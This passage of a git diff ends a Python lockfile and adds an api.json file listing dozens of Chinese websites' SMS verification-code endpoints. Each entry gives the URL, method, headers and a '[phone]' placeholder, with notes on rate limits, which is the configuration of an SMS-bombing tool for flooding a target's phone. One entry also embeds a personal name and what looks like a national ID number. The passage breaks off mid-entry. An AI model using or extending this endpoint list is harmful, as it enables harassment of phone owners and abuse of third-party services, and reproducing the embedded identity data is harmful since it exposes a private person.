"sha256:166eac03e48784a6a6e0e5f041cfebb1ab400b394db188c48b3a84737f505b67", + "sha256:17ff94e7a83aa8671a25bf5b59326ec26da379ace2ebc4411d690d80a7fbcf23", + "sha256:1e12bdc622676ce47ae9abbf455c189e442afdde8818d9da983085df6312e7a1", + "sha256:21915eb821a6b3d9d8eefdaf57d6c345b970ad722f856cd71739493ce003ad08", + "sha256:288c6a76705dc54fba69fbcb59904ae4ad768b4c768839b8ca5fdadec6dd8cfd", + "sha256:2bde6792f313f4e918caabc46532aa64aa27a0db05d75b20edfc5c6f46479de2", + "sha256:32ca72bbc673adbcfecb935bb3fb1b74e663d10a4b241aaa2f5a75fe1d1f90aa", + "sha256:356b3576ad078c89a6107caa9c50cc14e98e3a6c4874a37c3e0273e4baf33de8", + "sha256:40b951f601af999a8bf2ce8c71e8aaa4e8c6f78ff8afae7b808aae2dc50d4c40", + "sha256:572e1787d1460da79590bf44304abbc0a2da944ea64ec549188fa84d89bba7ab", + "sha256:58df5c2a0e293bf665a51f8a100d3e9956febfbf1d9aaf8c0677cf70218910c6", + "sha256:64e6175c2e53195278d7388c454e0b30997573f3f4bd63697f88d855f7a6a1fc", + "sha256:7227b47e73dedaa513cdebb98469705ef0d66eb5a1250144468e9c3097d6b59b", + "sha256:7418b6bfc7fe3331541b84bb2141c9baf1ec7132a7ecd9f375912eca810e714e", + "sha256:7cbd7574ce8e138bda9df4efc6bf2ab8572c9aff640d8ecfece1b006b68da963", + "sha256:7ff61ff178250f9bb3cd89752df0f1dd0e27316a8bd1465351652b1b4a4cdfd3", + "sha256:833e1551925ed51e6b44c800e71e77dacd7e49181fdc9ac9a0bf3714d515785d", + "sha256:8639cadfda96737427330a094476d4c7a56ac03de7265622fcf4cfe57c8ae18d", + "sha256:8c5d5b35f789a030ebb95bff352f1d27a93d81069f2adb3182d99882e095cefe", + "sha256:8c790abda465726cfb8bb08bd4ca9a5d0a7bd77c7ac1ca1b839ad823b948ea28", + "sha256:8d2f1fb53a421b410751887eb4ff21386d119ef9cde3797bf5e7ed49fb51a3b3", + "sha256:903bbd302a2378f984aef528f76d4c9b1748f318fe1294961c072bdc7f2ffa3e", + "sha256:93f81b134a165cc17123626ab8da2e30c0455441d4ab5576eed73a64c025b25c", + "sha256:95e69877983ea39b7303570fa6760f81a3eec23d0e3ab2021b7144b94d06202d", + "sha256:9633b3034d3d901f0a46b7939f8c4d64427dfba6bbc5a36b1a67364cf148a1b0", + "sha256:97e5306482182170ade15c4b0d8386ded995a07d7cc2ca8f27958d34d6736497", + "sha256:9f3cba480d3deb69f6ee2c1825060177a22c7826431458c697df88e6aeb3caee", + "sha256:aa5b467f15e78b82257319aebc78dd2915e4c1436c3c0d1ad6f53e47ba6e2713", + "sha256:abb7a75ed8b968f3061327c433a0fbd17b729947b400747c334a9c29a9af6c58", + "sha256:aec52725173bd3a7b56fe91bc56eccb26fbdff1386ef123abb63c84c5b43b63a", + "sha256:b11548073a2213d950c3f671aa88e6f83cda6e2fb97a8b6317b1b5b33d850e06", + "sha256:b1692f7d6bc45e3200844be0dba153612103db241691088626a33ff1f24a0d88", + "sha256:b336501a05e13b616ef81ce329c0e09ac5ed8c732d9ba7e3e983fcc1a9e86965", + "sha256:b8c008de9d0daba7b6666aa5bbfdc23dcd78cafc33997c9b7741ff6353bafb7f", + "sha256:b92e29e58bef6d9cfd340c72b04d74c4b4e9f70c9fa7c78b674d1fec18896dc4", + "sha256:be5f425ff1f5f4b3c1e33ad64ab994eed12fc284a6ea71c5243fd564502ecbe5", + "sha256:dd0b1e9e891f69e7675ba5c92e28b90eaa045f6ab134ffe70b52e948aa175b3c", + "sha256:e30f5ea4ae2346e62cedde8794a56858a67b878dd79f7df76a0767e356b1744a", + "sha256:e6a36bb9474218c7a5b27ae476035497a6990e21d04c279884eb10d9b290f1b1", + "sha256:e859fcb4cbe93504ea18008d1df98dee4f7766db66c435e4882ab35cf70cac43", + "sha256:eb6ea6da4c787111adf40f697b4e58732ee0942b5d3bd8f435277643329ba627", + "sha256:ec8c433b3ab0419100bd45b47c9c8551248a5aee30ca5e9d399a0b57ac04651b", + "sha256:eff9d20417ff9dcb0d25e2defc2574d10b491bf2e693b4e491914738b7908168", + "sha256:f0214eb2a23b85528310dad848ad2ac58e735612929c8072f6093f3585fd342d", + "sha256:f276df9830dba7a333544bd41070e8175762a7ac20350786b322b714b0e654f5", + "sha256:f3acda1924472472ddd60c29e5b9db0cec629fbe3c5c5accb74d6d6d14773478", + "sha256:f70a9e237bb792c7cc7e44c531fd48f5897961701cdaa06cf22fc14965c496cf", + "sha256:f9d29ca8a77117315101425ec7ec2a47a22ccf59f5593378fc4077ac5b754fce", + "sha256:fa877ca7f6b48054f847b61d6fa7bed5cebb663ebc55e018fda12db09dcc664c", + "sha256:fdcec0b8399108577ec290f55551d926d9a1fa6cad45882093a7a07ac5ec147b" + ], + "markers": "python_version >= '3' and platform_machine == 'aarch64' or (platform_machine == 'ppc64le' or (platform_machine == 'x86_64' or (platform_machine == 'amd64' or (platform_machine == 'AMD64' or (platform_machine == 'win32' or platform_machine == 'WIN32')))))", + "version": "==1.1.2" + }, + "importlib-metadata": { + "hashes": [ + "sha256:1208431ca90a8cca1a6b8af391bb53c1a2db74e5d1cef6ddced95d4b2062edc6", + "sha256:ea4c597ebf37142f827b8f39299579e31685c31d3a438b59f469406afd0f2539" + ], + "markers": "python_version < '3.10'", + "version": "==4.11.3" + }, + "itsdangerous": { + "hashes": [ + "sha256:2c2349112351b88699d8d4b6b075022c0808887cb7ad10069318a8b0bc88db44", + "sha256:5dbbc68b317e5e42f327f9021763545dc3fc3bfe22e6deb96aaf1fc38874156a" + ], + "markers": "python_version >= '3.7'", + "version": "==2.1.2" + }, + "jinja2": { + "hashes": [ + "sha256:31351a702a408a9e7595a8fc6150fc3f43bb6bf7e319770cbc0db9df9437e852", + "sha256:6088930bfe239f0e6710546ab9c19c9ef35e29792895fed6e6e31a023a182a61" + ], + "markers": "python_version >= '3.7'", + "version": "==3.1.2" + }, + "kombu": { + "hashes": [ + "sha256:37cee3ee725f94ea8bb173eaab7c1760203ea53bbebae226328600f9d2799610", + "sha256:8b213b24293d3417bcf0d2f5537b7f756079e3ea232a8386dcc89a59fd2361a4" + ], + "markers": "python_version >= '3.7'", + "version": "==5.2.4" + }, + "markupsafe": { + "hashes": [ + "sha256:0212a68688482dc52b2d45013df70d169f542b7394fc744c02a57374a4207003", + "sha256:089cf3dbf0cd6c100f02945abeb18484bd1ee57a079aefd52cffd17fba910b88", + "sha256:10c1bfff05d95783da83491be968e8fe789263689c02724e0c691933c52994f5", + "sha256:33b74d289bd2f5e527beadcaa3f401e0df0a89927c1559c8566c066fa4248ab7", + "sha256:3799351e2336dc91ea70b034983ee71cf2f9533cdff7c14c90ea126bfd95d65a", + "sha256:3ce11ee3f23f79dbd06fb3d63e2f6af7b12db1d46932fe7bd8afa259a5996603", + "sha256:421be9fbf0ffe9ffd7a378aafebbf6f4602d564d34be190fc19a193232fd12b1", + "sha256:43093fb83d8343aac0b1baa75516da6092f58f41200907ef92448ecab8825135", + "sha256:46d00d6cfecdde84d40e572d63735ef81423ad31184100411e6e3388d405e247", + "sha256:4a33dea2b688b3190ee12bd7cfa29d39c9ed176bda40bfa11099a3ce5d3a7ac6", + "sha256:4b9fe39a2ccc108a4accc2676e77da025ce383c108593d65cc909add5c3bd601", + "sha256:56442863ed2b06d19c37f94d999035e15ee982988920e12a5b4ba29b62ad1f77", + "sha256:671cd1187ed5e62818414afe79ed29da836dde67166a9fac6d435873c44fdd02", + "sha256:694deca8d702d5db21ec83983ce0bb4b26a578e71fbdbd4fdcd387daa90e4d5e", + "sha256:6a074d34ee7a5ce3effbc526b7083ec9731bb3cbf921bbe1d3005d4d2bdb3a63", + "sha256:6d0072fea50feec76a4c418096652f2c3238eaa014b2f94aeb1d56a66b41403f", + "sha256:6fbf47b5d3728c6aea2abb0589b5d30459e369baa772e0f37a0320185e87c980", + "sha256:7f91197cc9e48f989d12e4e6fbc46495c446636dfc81b9ccf50bb0ec74b91d4b", + "sha256:86b1f75c4e7c2ac2ccdaec2b9022845dbb81880ca318bb7a0a01fbf7813e3812", + "sha256:8dc1c72a69aa7e082593c4a203dcf94ddb74bb5c8a731e4e1eb68d031e8498ff", + "sha256:8e3dcf21f367459434c18e71b2a9532d96547aef8a871872a5bd69a715c15f96", + "sha256:8e576a51ad59e4bfaac456023a78f6b5e6e7651dcd383bcc3e18d06f9b55d6d1", + "sha256:96e37a3dc86e80bf81758c152fe66dbf60ed5eca3d26305edf01892257049925", + "sha256:97a68e6ada378df82bc9f16b800ab77cbf4b2fada0081794318520138c088e4a", + "sha256:99a2a507ed3ac881b975a2976d59f38c19386d128e7a9a18b7df6fff1fd4c1d6", + "sha256:a49907dd8420c5685cfa064a1335b6754b74541bbb3706c259c02ed65b644b3e", + "sha256:b09bf97215625a311f669476f44b8b318b075847b49316d3e28c08e41a7a573f", + "sha256:b7bd98b796e2b6553da7225aeb61f447f80a1ca64f41d83612e6139ca5213aa4", + "sha256:b87db4360013327109564f0e591bd2a3b318547bcef31b468a92ee504d07ae4f", + "sha256:bcb3ed405ed3222f9904899563d6fc492ff75cce56cba05e32eff40e6acbeaa3", + "sha256:d4306c36ca495956b6d568d276ac11fdd9c30a36f1b6eb928070dc5360b22e1c", + "sha256:d5ee4f386140395a2c818d149221149c54849dfcfcb9f1debfe07a8b8bd63f9a", + "sha256:dda30ba7e87fbbb7eab1ec9f58678558fd9a6b8b853530e176eabd064da81417", + "sha256:e04e26803c9c3851c931eac40c695602c6295b8d432cbe78609649ad9bd2da8a", + "sha256:e1c0b87e09fa55a220f058d1d49d3fb8df88fbfab58558f1198e08c1e1de842a", + "sha256:e72591e9ecd94d7feb70c1cbd7be7b3ebea3f548870aa91e2732960fa4d57a37", + "sha256:e8c843bbcda3a2f1e3c2ab25913c80a3c5376cd00c6e8c4a86a89a28c8dc5452", + "sha256:efc1913fd2ca4f334418481c7e595c00aad186563bbc1ec76067848c7ca0a933", + "sha256:f121a1420d4e173a5d96e47e9a0c0dcff965afdf1626d28de1460815f7c4ee7a", + "sha256:fc7b548b17d238737688817ab67deebb30e8073c95749d55538ed473130ec0c7" + ], + "markers": "python_version >= '3.7'", + "version": "==2.1.1" + }, + "prompt-toolkit": { + "hashes": [ + "sha256:62291dad495e665fca0bda814e342c69952086afb0f4094d0893d357e5c78752", + "sha256:bd640f60e8cecd74f0dc249713d433ace2ddc62b65ee07f96d358e0b152b6ea7" + ], + "markers": "python_full_version >= '3.6.2'", + "version": "==3.0.29" + }, + "pytz": { + "hashes": [ + "sha256:1e760e2fe6a8163bc0b3d9a19c4f84342afa0a2affebfaa84b01b978a02ecaa7", + "sha256:e68985985296d9a66a881eb3193b0906246245294a881e7c8afe623866ac6a5c" + ], + "version": "==2022.1" + }, + "six": { + "hashes": [ + "sha256:1e61c37477a1626458e36f7b1d82aa5c9b094fa4802892072e49de9c60c4c926", + "sha256:8abb2f1d86890a2dfb989f9a77cfcfd3e47c2a354b01111771326f8aa26e0254" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", + "version": "==1.16.0" + }, + "speaklater": { + "hashes": [ + "sha256:59fea336d0eed38c1f0bf3181ee1222d0ef45f3a9dd34ebe65e6bfffdd6a65a9" + ], + "version": "==1.3" + }, + "sqlalchemy": { + "hashes": [ + "sha256:09c606d8238feae2f360b8742ffbe67741937eb0a05b57f536948d198a3def96", + "sha256:166a3887ec355f7d2f12738f7fa25dc8ac541867147a255f790f2f41f614cb44", + "sha256:16abf35af37a3d5af92725fc9ec507dd9e9183d261c2069b6606d60981ed1c6e", + "sha256:2e885548da361aa3f8a9433db4cfb335b2107e533bf314359ae3952821d84b3e", + "sha256:2ec89bf98cc6a0f5d1e28e3ad28e9be6f3b4bdbd521a4053c7ae8d5e1289a8a1", + "sha256:2ecac4db8c1aa4a269f5829df7e706639a24b780d2ac46b3e485cbbd27ec0028", + "sha256:316c7e5304dda3e3ad711569ac5d02698bbc71299b168ac56a7076b86259f7ea", + "sha256:5041474dcab7973baa91ec1f3112049a9dd4652898d6a95a6a895ff5c58beb6b", + "sha256:53d2d9ee93970c969bc4e3c78b1277d7129554642f6ffea039c282c7dc4577bc", + "sha256:5864a83bd345871ad9699ce466388f836db7572003d67d9392a71998092210e3", + "sha256:5c90ef955d429966d84326d772eb34333178737ebb669845f1d529eb00c75e72", + "sha256:5d50cb71c1dbed70646d521a0975fb0f92b7c3f84c61fa59e07be23a1aaeecfc", + "sha256:64678ac321d64a45901ef2e24725ec5e783f1f4a588305e196431447e7ace243", + "sha256:64d796e9af522162f7f2bf7a3c5531a0a550764c426782797bbeed809d0646c5", + "sha256:6cb4c4f57a20710cea277edf720d249d514e587f796b75785ad2c25e1c0fed26", + "sha256:6e1fe00ee85c768807f2a139b83469c1e52a9ffd58a6eb51aa7aeb524325ab18", + "sha256:6e859fa96605027bd50d8e966db1c4e1b03e7b3267abbc4b89ae658c99393c58", + "sha256:7a052bd9f53004f8993c624c452dfad8ec600f572dd0ed0445fbe64b22f5570e", + "sha256:81e53bd383c2c33de9d578bfcc243f559bd3801a0e57f2bcc9a943c790662e0c", + "sha256:83cf3077712be9f65c9aaa0b5bc47bc1a44789fd45053e2e3ecd59ff17c63fe9", + "sha256:8b20c4178ead9bc398be479428568ff31b6c296eb22e75776273781a6551973f", + "sha256:8d07fe2de0325d06e7e73281e9a9b5e259fbd7cbfbe398a0433cbb0082ad8fa7", + "sha256:a0ae3aa2e86a4613f2d4c49eb7da23da536e6ce80b2bfd60bbb2f55fc02b0b32", + "sha256:af2587ae11400157753115612d6c6ad255143efba791406ad8a0cbcccf2edcb3", + "sha256:b3db741beaa983d4cbf9087558620e7787106319f7e63a066990a70657dd6b35", + "sha256:be094460930087e50fd08297db9d7aadaed8408ad896baf758e9190c335632da", + "sha256:cb441ca461bf97d00877b607f132772644b623518b39ced54da433215adce691", + "sha256:ce20f5da141f8af26c123ebaa1b7771835ca6c161225ce728962a79054f528c3", + "sha256:d57ac32f8dc731fddeb6f5d1358b4ca5456e72594e664769f0a9163f13df2a31", + "sha256:dce3468bf1fc12374a1a732c9efd146ce034f91bb0482b602a9311cb6166a920", + "sha256:e12532c4d3f614678623da5d852f038ace1f01869b89f003ed6fe8c793f0c6a3", + "sha256:e74ce103b81c375c3853b436297952ef8d7863d801dcffb6728d01544e5191b5", + "sha256:f0394a3acfb8925db178f7728adb38c027ed7e303665b225906bfa8099dc1ce8", + "sha256:f522214f6749bc073262529c056f7dfd660f3b5ec4180c5354d985eb7219801e", + "sha256:fbf8c09fe9728168f8cc1b40c239eab10baf9c422c18be7f53213d70434dea43", + "sha256:fca8322e04b2dde722fcb0558682740eebd3bd239bea7a0d0febbc190e99dc15" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4, 3.5'", + "version": "==1.4.36" + }, + "vine": { + "hashes": [ + "sha256:4c9dceab6f76ed92105027c49c823800dd33cacce13bdedc5b914e3514b7fb30", + "sha256:7d3b1624a953da82ef63462013bbd271d3eb75751489f9807598e8f340bd637e" + ], + "markers": "python_version >= '3.6'", + "version": "==5.0.0" + }, + "wcwidth": { + "hashes": [ + "sha256:beb4802a9cebb9144e99086eff703a642a13d6a0052920003a230f3294bbe784", + "sha256:c4d647b99872929fdb7bdcaa4fbe7f01413ed3d98077df798530e5b04f116c83" + ], + "version": "==0.2.5" + }, + "werkzeug": { + "hashes": [ + "sha256:1ce08e8093ed67d638d63879fd1ba3735817f7a80de3674d293f5984f25fb6e6", + "sha256:72a4b735692dd3135217911cbeaa1be5fa3f62bffb8745c5215420a03dc55255" + ], + "markers": "python_version >= '3.7'", + "version": "==2.1.2" + }, + "wtforms": { + "hashes": [ + "sha256:6b351bbb12dd58af57ffef05bc78425d08d1914e0fd68ee14143b7ade023c5bc", + "sha256:837f2f0e0ca79481b92884962b914eba4e72b7a2daaf1f939c890ed0124b834b" + ], + "markers": "python_version >= '3.7'", + "version": "==3.0.1" + }, + "zipp": { + "hashes": [ + "sha256:56bf8aadb83c24db6c4b577e13de374ccfb67da2078beba1d037c17980bf43ad", + "sha256:c4f6e5bbf48e74f7a38e7cc5b0480ff42b0ae5178957d564d18932525d5cf099" + ], + "markers": "python_version >= '3.7'", + "version": "==3.8.0" + } + } +} diff --git a/api.json b/api.json new file mode 100755 index 0000000..e40bf0b --- /dev/null +++ b/api.json @@ -0,0 +1,745 @@ +[ + { + "desc": "彩云小译", + "url": "https://biz.caiyunapp.com/v1/send_sms_code", + "method": "POST", + "header": { + "Referer": "https://fanyi.caiyunapp.com/", + "Cy-Token": "token 9876032166" + }, + "data": { + "phone_num": "[phone]", + "area_code": "86" + } + }, + { + "desc": "网易云游戏", + "url": "https://n.cg.163.com/api/v1/phone-captchas/86-[phone]", + "method": "POST", + "header": "", + "data": { + "etc": { + "validate": "" + } + } + }, + { + "desc": "果壳app", + "url": "https://guokrapp-apis.guokr.com/hawking/v1/verifications", + "method": "POST", + "header": { + "User-Agent": "android 2.0.15", + "Client-Source": "android;23;Android;MuMu", + "Client-Channel": "gkchannel_QD009", + "Content-Type": "application/json; charset=UTF-8" + }, + "data": { + "dial_code": "0086", + "phone": "[phone]" + } + }, + { + "desc": "踢米app", + "url": "https://www.timing360.com/user/send-captcha", + "method": "POST", + "header": { + "Authorization": "7119181942667E7D85987C65A6D0B8EC", + "Content-Type": "application/x-www-form-urlencoded" + }, + "data": "_app_version=10.13.2&_carrier=&_city=&_country=&_country_code=&_date=2022-04-05&_device_id=b6ad5aabe403d839&_device_manufacturer=Netease&_device_model=MuMu&_device_os=Android&_device_os_version=6.0.1&_distinct_id=a86d6bb7-8e26-43c5-baf3-82cdf95fffdd&_ip=&_is_login_id=0&_login_method=phone&_network_type=WIFI&_province=&_screen_height=2000&_screen_width=1125&_time=2022-04-05%2021%3A21%3A13&_user_id=a86d6bb7-8e26-43c5-baf3-82cdf95fffdd&_wifi=1&adCode=&brand=Android&city=&cityCode=&countryCode=86&imei=861151055733959&isCheckPhoneExist=0&latitude=&longitude=&market=yyb&nonce=708380&os=6.0.1&osType=1&phoneModel=MuMu&phoneNumber=[phone]&sessionId=e1c69361-c78b-4f4d-8c98-938ba4eccff6×tamp=[timestamp]&userID=-709178027&userKey=11111111111111111111111111111111&versioncode=187" + }, + { + "desc": "微爱app", + "url": "http://api.welove520.com/v5/account/phone/verifyCode/send?phone_number=[phone]&client_id=464847866_[timestamp]&type=6&area_code=86&app_key=ac5f34563a4344c4&sig=xvP64W04tR%2FNJoZEJEoJySmlIXU%3D", + "method": "POST", + "header": "", + "data": "" + }, + { + "desc": "返利app(24小时限制)", + "url": "https://passport.fanli.com/mobileapi/i/user/mobileFastReg?jsoncallback=jQuery21105357980471043338_[timestamp]&mobile=[phone]&countrycode=86&mobilestep=1&_=[timestamp]", + "method": "GET", + "header": "", + "data": "" + }, + { + "desc": "酷安(一天只能一次)", + "url": "https://account.coolapk.com/auth/login?type=mobile", + "method": "POST", + "header": "", + "data": "submit=1&requestHash=c2592a6dr9x510&country=86&mobile=[phone]&captcha=&randomNumber=0undefined7952784010774208" + }, + { + "desc": "广东高考报名web", + "url": "https://pg.eeagd.edu.cn/ks/public/kszc/zcyzm.jsmeb", + "method": "POST", + "header": "", + "data": "[phone]" + }, + { + "desc": "广东教育翔云", + "url": "https://gl.gdedu.gov.cn/api-service/captcha?phoneNumber=[phone]&captchaType=QUERY_ADMIN", + "method": "GET", + "header": "", + "data": "" + }, + { + "desc": "迪卡侬", + "url": "https://www.decathlon.com.cn/zh/ajax/rest/model/atg/userprofiling/ProfileActor/send-mobile-verification-code", + "method": "POST", + "header": "", + "data": { + "countryCode": "CN", + "mobile": "[phone]" + } + }, + { + "desc": "股海网", + "url": "https://www.guhai.com.cn/front/member/sendSmsCode", + "method": "POST", + "header": "", + "data": { + "mobile": "[phone]" + } + }, + { + "desc": "LLL的个人blog", + "url": "http://www.lll.plus/sendCode/", + "method": "POST", + "header": "", + "data": { + "tel": "[phone]", + "forgetPwd": "" + } + }, + { + "desc": "企米子", + "url": "https://www.xcxui.com/index/register/getcode.html", + "method": "POST", + "header": "", + "data": { + "tel": "[phone]" + } + }, + { + "desc": "蒲公英", + "url": "https://id.pgyer.com/user/getRegisterCode", + "method": "POST", + "header": "", + "data": { + "tel": "[phone]", + "callingCode": "86", + "mode": "tel" + } + }, + { + "desc": "百卓优采", + "url": "https://erp.abiz.com/mobilecode/sendMobileCode", + "method": "POST", + "header": "", + "data": { + "mobile": "[phone]", + "captcha": "" + } + }, + { + "desc": "云背篓", + "url": "https://brand.yunbeilou.com/index.php/smssend", + "method": "POST", + "header": "", + "data": { + "phone": "[phone]", + "v": "yes" + } + }, + { + "desc": "PHP中文网", + "url": "https://m.php.cn/account/phone_code.html", + "method": "POST", + "header": "", + "data": { + "phone": "[phone]" + } + }, + { + "desc": "12321", + "url": "http://dhba.12321.cn/api/verifycode", + "method": "POST", + "header": "", + "data": { + "phone": "[phone]" + } + }, + { + "desc": "Testin众测", + "url": "https://www.ztestin.com/users/send/vercode", + "method": "POST", + "header": "", + "data": { + "phone": "[phone]", + "type": "register", + "voice": "0" + } + }, + { + "desc": "海尔", + "url": "http://maker.haier.net/client/user/sendregistervcode.html", + "method": "POST", + "header": "", + "data": { + "account": "[phone]" + } + }, + { + "desc": "飞猫云", + "url": "https://www.feimaoyun.com/index.php/invite/h5sendmsg", + "method": "POST", + "header": "", + "data": { + "pcode": "+86", + "phone": "[phone]" + } + }, + { + "desc": "华觉数字化平台", + "url": "https://end.huajuetech.com/api/sendCode", + "method": "POST", + "header": "", + "data": { + "mobile": "[phone]", + "email": "null", + "verfy_method": "mobile" + } + }, + { + "desc": "问政江西", + "url": "https://wenz.jxnews.com.cn/ms/index.php/Home/User/get_yzm", + "method": "POST", + "header": "", + "data": { + "phone": "[phone]" + } + }, + { + "desc": "河南智慧党建", + "url": "http://api.hndyjyfw.gov.cn/djapi/mobileVerify", + "method": "POST", + "header": "", + "data": { + "phone": "[phone]", + "verifytype": "1" + } + }, + { + "desc": "陆陆陆云安全", + "url": "https://cloud.666idc.com/index/login/sendsms.html", + "method": "POST", + "header": "", + "data": { + "mobile": "[phone]", + "mobile_pre": "86" + } + }, + { + "desc": "网易", + "url": "https://dz.blizzard.cn/action/user/mobile/captcha", + "method": "POST", + "header": "", + "data": { + "mobile": "[phone]" + } + }, + { + "desc": "码云社", + "url": "https://www.codeseeding.com/loginUser/toSend", + "method": "POST", + "header": "", + "data": { + "phone": "[phone]" + } + }, + { + "desc": "人才山东", + "url": "http://sso.rcsd.cn/regist/getVerifyCode", + "method": "POST", + "header": "", + "data": { + "personcall": "[phone]" + } + }, + { + "desc": "水利部", + "url": "http://sso.mwr.cn/suserRegister/verifyAccountAndphone.action", + "method": "POST", + "header": "", + "data": { + "mobile": "[phone]" + } + }, + { + "desc": "七联大学", + "url": "http://ut7.whu.edu.cn/Home/studentCommon/Student_getVerifyCode", + "method": "POST", + "header": "", + "data": { + "phoneNumber": "[phone]", + "sendType": "0" + } + }, + { + "desc": "闪德资讯", + "url": "https://www.0101ssd.com/user/sendmsg", + "method": "POST", + "header": "", + "data": { + "mobile": "[phone]", + "event": "register" + } + }, + { + "desc": "江苏省名师空中课堂", + "url": "https://mskzkt.jse.edu.cn/baseApi/user/code/", + "method": "POST", + "header": "", + "data": { + "mobile": "[phone]", + "type": "1" + } + }, + { + "desc": "CSFF短片", + "url": "https://csff.cutv.com/wapi/users/sendregcode", + "method": "POST", + "header": "", + "data": { + "telphone": "[phone]" + } + }, + { + "desc": "广西人社厅", + "url": "http://rswb.gx12333.net/member/getRegisterphoneCode.jspx", + "method": "POST", + "header": "", + "data": { + "aae005": "[phone]", + "aac003": "刘萌萌", + "aac002": "210212198506035924", + "notkeyflag": "1" + } + }, + { + "desc": "麦克赛尔数字映像", + "url": "https://www.maxell-dm.cn/Code/CheckImage.aspx", + "method": "POST", + "header": "", + "data": { + "action": "send", + "txtMember_Name": "[phone]" + } + }, + { + "desc": "宝提分", + "url": "http://main.jiajiaozaixian.com//reginfo/sendRankByMobileReginfo.action", + "method": "POST", + "header": "", + "data": { + "mobile": "[phone]" + } + }, + { + "desc": "选型系统", + "url": "http://www.cnppump.ltd/Service/UserHandler.ashx", + "method": "GET", + "header": "", + "data": { + "cmd": "GetTelVerifyCode", + "Tel": "[phone]" + } + }, + { + "desc": "千里马网信科技", + "url": "http://vip.qianlima.com/rest/u/api/user/register/mobile/code", + "method": "POST", + "header": "", + "data": { + "tips": "1", + "shouji": "[phone]" + } + }, + { + "desc": "保定云", + "url": "https://baodingyun.com.cn/register/send_registerSMS.html", + "method": "POST", + "header": "", + "data": { + "phone": "[phone]" + } + }, + { + "desc": "欢动游戏", + "url": "http://www.gm5.com/auth/registerSms.html", + "method": "POST", + "header": "", + "data": { + "mobile": "[phone]" + } + }, + { + "desc": "迈威", + "url": "https://www.maiwe.com.cn/index/sendcode.html", + "method": "GET", + "header": "", + "data": { + "tel": "[phone]" + } + }, + { + "desc": "憨鼠社区", + "url": "https://www.dehua.net/include/ajax.php?service=siteConfig&action=getphoneVerify&type=signup&phone=[phone]&areaCode=86", + "method": "GET", + "header": "", + "data": {} + }, + { + "desc": "天鹅到家", + "url": "https://user.daojia.com/mobile/getcode?mobile=[phone]&newVersion=1&bu=112", + "method": "GET", + "header": "", + "data": {} + }, + { + "desc": "诺达筑工", + "url": "http://ks.ndzhugong.com/getVerificationCode?phone=[phone]&password=&smscode=", + "method": "GET", + "header": "", + "data": {} + }, + { + "desc": "栋才智慧", + "url": "http://211.149.170.226:8201/dczp-cloud-client/rrs/user/sendSms?[phone]&[phone]&smsMode=2", + "method": "GET", + "header": "", + "data": {} + }, + { + "desc": "工伤预防网上培训平台", + "url": "http://wf.zhuanjipx.com:8084//api-user/zjUsersPersonal/getSmsCode?mobile=[phone]&mobileCodeId=a87c9338-43a1-66ea-8ce7-1b1ac7c39d69", + "method": "GET", + "header": "", + "data": {} + }, + { + "desc": "济宁专技", + "url": "https://sdjn-web.yxlearning.com/sendphoneCode.gson", + "method": "POST", + "header": "", + "data": { + "phone": "[phone]", + "sendType": "4" + } + }, + { + "desc": "宁夏伊地地质工程有限公司", + "url": "http://www.yddzgc.com/bid-app/api/sys/code?phone=[phone]&type=1", + "method": "GET", + "header": "", + "data": {} + }, + { + "desc": "青春大学说", + "url": "http://zycp.qcdxs.com:5001/sms/sendsms", + "method": "POST", + "header": "", + "data": { + "phone_number": "[phone]" + } + }, + { + "desc": "兴业利达电子招投标平台", + "url": "https://api.gzxyld.cn/HuiEbid/HuiEbidServer/doSendSms/getSms", + "method": "POST", + "header": "", + "data": { + "username": "[phone]", + "type": "regUser", + "mobile": "PC" + } + }, + { + "desc": "火象", + "url": "https://v1.alphazone-data.cn/academy/api/v1/sendsms", + "method": "POST", + "header": "", + "data": { + "temp": "1", + "phone": "[phone]" + } + }, + { + "desc": "中科教育", + "url": "https://www.vipexam.cn/user/identifyingCode.action", + "method": "POST", + "header": "", + "data": { + "phone": "[phone]" + } + }, + { + "desc": "聚题库", + "url": "https://uc.csdhe.com/v1/sms/send?mobile=[phone]&apptype=examWeb", + "method": "GET", + "header": "", + "data": {} + }, + { + "desc": "苏州高新区教育局", + "url": "https://jssnd.edu.cn/apiu/v1/register/auth", + "method": "POST", + "header": "", + "data": { + "phone": "[phone]" + } + }, + { + "desc": "专业技术人员继续教育平台", + "url": "http://zhuanjipx.com:8082//api-user/zjUsersPersonal/getSmsCode?mobile=[phone]&mobileCodeId=685110c6-cef4-bb01-8f4d-19ea89f4d3f8", + "method": "GET", + "header": "", + "data": {} + }, + { + "desc": "泰安专技", + "url": "https://sdta-web.yxlearning.com/sendphoneCode.gson", + "method": "POST", + "header": "", + "data": { + "phone": "[phone]", + "sendType": "4" + } + }, + { + "desc": "漏洞银行", + "url": "https://www.bugbank.cn/api/verifymobile", + "method": "POST", + "header": "", + "data": { + "mobile": "[phone]" + } + }, + { + "desc": "中国劳动保障新闻网", + "url": "https://www.clssn.com/jhxtapi/web/Login/sendSmsCode", + "method": "POST", + "header": "", + "data": { + "mobile": "[phone]" + } + }, + { + "desc": "广东省心理学会", + "url": "http://gpa-gd.scnu.edu.cn/member/index/public_send_code.html", + "method": "POST", + "header": "", + "data": { + "phone": "[phone]" + } + }, + { + "desc": "费耘网", + "url": "https://www.feeclouds.com/homepage/register/send", + "method": "POST", + "header": "", + "data": { + "mobile": "[phone]" + } + }, + { + "desc": "语雀web", + "url": "https://www.yuque.com/api/validation_codes", + "method": "POST", + "header": { + "referer": "https://www.yuque.com/register" + }, + "data": { + "target": "[phone]", + "action": "register", + "channel": "sms" + } + }, + { + "desc": "甜糖app", + "url": "http://tiantang.mogencloud.com/web/api/login/code?phone=[phone]", + "method": "POST", + "header": "", + "data": "" + }, + { + "desc": "网心云APP", + "url": "https://account-box.onethingpcs.com/xluser.core.login/v3/sendsms", + "method": "POST", + "header": "", + "data": { + "protocolVersion": "301", + "sequenceNo": "1000001", + "platformVersion": "10", + "isCompressed": "0", + "appid": "22017", + "clientVersion": "3.15.1", + "peerID": "00000000000000000000000000000000", + "appName": "ANDROID-com.onethingcloud.android", + "sdkVersion": "204500", + "devicesign": "div101.095893e2bfa13a199f83691076c8bbb9ab0d01f75c929975048142c2fa38402b", + "netWorkType": "WIFI", + "providerName": "NONE", + "deviceModel": "M2102J2SC", + "deviceName": "Xiaomi M2102j2sc", + "OSVersion": "11", + "creditkey": "", + "hl": "zh-CN", + "mobile": "[phone]", + "register": "0" + } + }, + { + "desc": "乐教乐学", + "url": 